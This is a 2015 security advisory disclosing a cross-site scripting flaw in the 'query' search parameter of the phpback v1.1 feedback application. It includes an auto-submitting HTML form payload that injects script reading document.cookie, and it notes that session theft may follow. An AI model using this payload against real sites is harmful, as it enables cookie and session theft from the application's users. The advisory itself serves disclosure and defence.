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phpback v1.1 XSS vulnerability



[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/PHPBACK-XSS.txt



Vendor:
====================
www.phpback.org



Product:
===============
phpback v1.1

The open source feedback system, PHPBack is feedback a web application that you can easily
implement on your website. It gives your customers a way to communicate their ideas to
improve your products.



Vulnerability Type:
==========================
Cross site scripting - XSS



CVE Reference:
==============
N/A



Vulnerability Details:
======================
XSS vulnerability exist in search field 'query' parameter allowing arbitrary client side JS code
execution on victims who click our infected linx or visit our infected webpage. Session ID theft
may follow as well as possibility to bypass CSRF protections etc...



XSS Exploit code(s):
===================

<form id='InFeCT0r' action="http://localhost/phpback_v1.1/phpback-1.1c/home/search"; method="POST">
<input name="query" type="hidden" value="'<script>alert(document.cookie)</script>">  
<script>document.getElementById('InFeCT0r').submit()</script>            
</form>



Disclosure Timeline:
=====================
Vendor Notification: December 11, 2015 
December 15, 2015  : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
High




Description:
=====================================================
Request Method(s):              [+] POST


Vulnerable Product:             [+] phpback v1.1


Vulnerable Parameter(s):        [+] query



[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.

by hyp3rlinx